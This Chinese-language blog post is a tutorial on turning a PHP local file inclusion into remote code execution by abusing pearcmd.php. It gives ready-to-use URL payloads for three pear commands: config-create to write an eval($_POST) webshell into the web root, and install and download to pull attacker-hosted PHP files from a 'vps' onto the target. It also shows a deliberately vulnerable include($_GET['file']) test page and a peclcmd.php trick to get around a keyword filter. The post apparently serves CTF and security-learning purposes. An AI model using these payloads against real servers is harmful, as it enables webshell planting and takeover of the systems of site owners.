pearcmd.php文件包含妙用

本文最后更新于:2023年8月25日 下午

[TOC]

pearcmd.php文件包含妙用

利用条件

  • php.ini中register_argc_argv=On开启
  • 安装pecl/pear

pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定--with-pear才会安装。

不过,在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php

原理

pear这个工具其实是一个命令,默认安装路径:/usr/local/lib/php/pearcmd.php,在命令行可以使用pear

php /usr/local/lib/php/pearcmd.php 运行,如果存在文件包含漏洞,就可以运行这个命令行工具

我们看看register_argc_argv选项,如果这个选项设置为:On,那么URL的?后面的内容全部会传入$_SERVER['argv']这个变量中,无论后面内容是否有等号

pear会在pearcmd.php获取命令行参数

pearcmd.php

1
2
3
4
5
6
7
8
9
PEAR_Command::setFrontendType('CLI');
$all_commands = PEAR_Command::getCommands();

$argv = Console_Getopt::readPHPArgv();
// fix CGI sapi oddity - the -- in pear.bat/pear is not removed
if (php_sapi_name() != 'cli' && isset($argv[1]) && $argv[1] == '--') {
unset($argv[1]);
$argv = array_values($argv);
}

其中会用到 Console_Getopt::readPHPArgv()函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static function readPHPArgv()
{
global $argv;
if (!is_array($argv)) {
if (!@is_array($_SERVER['argv'])) {
if (!@is_array($GLOBALS['HTTP_SERVER_VARS']['argv'])) {
$msg = "Could not read cmd args (register_argc_argv=Off?)";
return PEAR::raiseError("Console_Getopt: " . $msg);
}
return $GLOBALS['HTTP_SERVER_VARS']['argv'];
}
return $_SERVER['argv'];
}
return $argv;
}

首先尝试$argv变量(这个变量存储命令行模式运行php脚本传入的参数),然后尝试$_SERVER['argv']变量(这个变量传入URL的?后的值。可控

这样,在文件包含下,我们就可以运行pear工具,并且使用GET请求的参数来控制pear的命令行参数了

利用

首先寻找pear中可以用的命令了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
Commands:
build Build an Extension From C Source
bundle Unpacks a Pecl Package
channel-add Add a Channel
channel-alias Specify an alias to a channel name
channel-delete Remove a Channel From the List
channel-discover Initialize a Channel from its server
channel-info Retrieve Information on a Channel
channel-login Connects and authenticates to remote channel server
channel-logout Logs out from the remote channel server
channel-update Update an Existing Channel
clear-cache Clear Web Services Cache
config-create Create a Default configuration file
config-get Show One Setting
config-help Show Information About Setting
config-set Change Setting
config-show Show All Settings
convert Convert a package.xml 1.0 to package.xml 2.0 format
cvsdiff Run a "cvs diff" for all files in a package
cvstag Set CVS Release Tag
download Download Package
download-all Downloads each available package from the default channel
info Display information about a package
install Install Package
list List Installed Packages In The Default Channel
list-all List All Packages
list-channels List Available Channels
list-files List Files In Installed Package
list-upgrades List Available Upgrades
login Connects and authenticates to remote server [Deprecated in favor of channel-login]
logout Logs out from the remote server [Deprecated in favor of channel-logout]
makerpm Builds an RPM spec file from a PEAR package
package Build Package
package-dependencies Show package dependencies
package-validate Validate Package Consistency
pickle Build PECL Package
remote-info Information About Remote Packages
remote-list List Remote Packages
run-scripts Run Post-Install Scripts bundled with a package
run-tests Run Regression Tests
search Search remote package database
shell-test Shell Script Test
sign Sign a package distribution file
svntag Set SVN Release Tag
uninstall Un-install Package
update-channels Update the Channel List
upgrade Upgrade Package
upgrade-all Upgrade All Packages [Deprecated in favor of calling upgrade with no parameters]
Usage: pear [options] command [command-options] <parameters>
Type "pear help options" to list all options.
Type "pear help shortcuts" to list all command shortcuts.
Type "pear help version" or "pear version" to list version information.
Type "pear help <command>" to get the help for the specified command.

这里使用三种

首先搭建一个环境:

index.php

1
2
<?php
include($_GET['file']);

并且在虚拟机中安装了perl

config-create

首先来讲第一种方式,这个方式在 p神文章中讲到

此命令的参数和用法如下:

1
config-create: must have 2 parameters, root path and filename to save as

必须传入两个参数,第一个参数传入绝对路径,第二个参数传入想要保存的文件名

我们先测试一下:

1
pear config-create <?=@eval($_POST[1]);?> /tmp/leekos.php

结果提示:Root directory must be an absolute path beginning with "/", was: "<?=@eval($_POST[1]);?>"

此处我们传入的第一个参数不是一个绝对路径,所以不行

于是我们可以改为:

1
pear config-create /<?=@eval($_POST[1]);?> /tmp/leekos.php

成功写入:

image-20230724215227210

这样就可以利用该文件getshell了

但是上述并不满足通过文件包含的格式来写入shell,我们需要更改一下:

(由于$_SERVER['argv']变量会将URL的?后面的值都传入pear当作参数,所以此处file需要调换一下位置,并且在适当位置加上/和空格的url编码+) 我的虚拟机pearcmd.php的路径为:/usr/share/php/pearcmd.php

1
?+config-create+/&file=/usr/share/php/pearcmd.php&/<?=@eval($_POST[1]);?>+/var/www/html/shell.php

这里会将:/&file=/usr/share/php/pearcmd.php&/<?=@eval($_POST[1]);?>当作一个目录,即第一个参数

将这一串写入/var/www/html/shell.php中,然后包含这个php文件即可

install

假如在服务器上有一个phpinfo.php文件:

1
2
<?php
phpinfo();

我们可以使用如下命令下载服务器上的文件到靶机:

1
pear install http://vps/phpinfo.php

image-20230724222546418

下载成功

我们想要配合文件包含漏洞,就需要知道一个参数:--installroot,这个选项可以指定安装目录,这样就可以构造payload远程下载文件了:

1
?+install+--installroot+&file=/usr/share/php/pearcmd.php&+http://[vps]/index.php

这一条命令会将服务器上的 index.php下载到:

&file=/usr/local/lib/php/pearcmd.php&/tmp/pear/download/目录下(后面要拼接上/tmp/pear/download/

image-20230724224711149

这样我们就可以从远程服务器上下载shell到靶机上了,使用文件包含注意将路径url编码

download

用法:

1
pear down http://vps/phpinfo.php

image-20230724224940015

我们也可以尝试构造一下:

1
?+download+http://vps/phpinfo.php&file=/usr/share/php/pearcmd.php

这种构造方式有点巧妙,需要我们在服务器建一个目录:phpinfo.php&file=/usr/share/php/,并且将恶意的php命名为:pearcmd.php

其实也可以这么写,去掉上面的phpinfo.php

1
?+download+http://vps/&file=/usr/share/php/pearcmd.php

创建:&file=/usr/share/php/目录,放入pearcmd.php

然后文件包含pearcmd.php就可以利用了

pearcmd关键词被ban

我们可以使用peclcmd.php代替,在这个php文件当中其实就是引入了pearcmd.php

1
2
3
4
5
6
7
8
9
if ('/www/server/php/52/lib/php' != '@'.'include_path'.'@') {
ini_set('include_path', '/www/server/php/52/lib/php');
$raw = false;
} else {
// this is a raw, uninstalled pear, either a cvs checkout, or php distro
$raw = true;
}
define('PEAR_RUNTYPE', 'pecl');
require_once 'pearcmd.php';

参考

https://w4rsp1t3.moe/2021/11/26/%E5%85%B3%E4%BA%8E%E5%88%A9%E7%94%A8pearcmd%E8%BF%9B%E8%A1%8C%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E7%9A%84%E4%B8%80%E4%BA%9B%E6%80%BB%E7%BB%93/

https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html

https://y4tacker.github.io/2022/06/19/year/2022/6/%E5%85%B3%E4%BA%8Epearcmd%E5%88%A9%E7%94%A8%E6%80%BB%E7%BB%93/#download


pearcmd.php文件包含妙用
https://leekosss.github.io/2023/08/24/pearcmd.php文件包含妙用/
作者
leekos
发布于
2023年8月24日
更新于
2023年8月25日
许可协议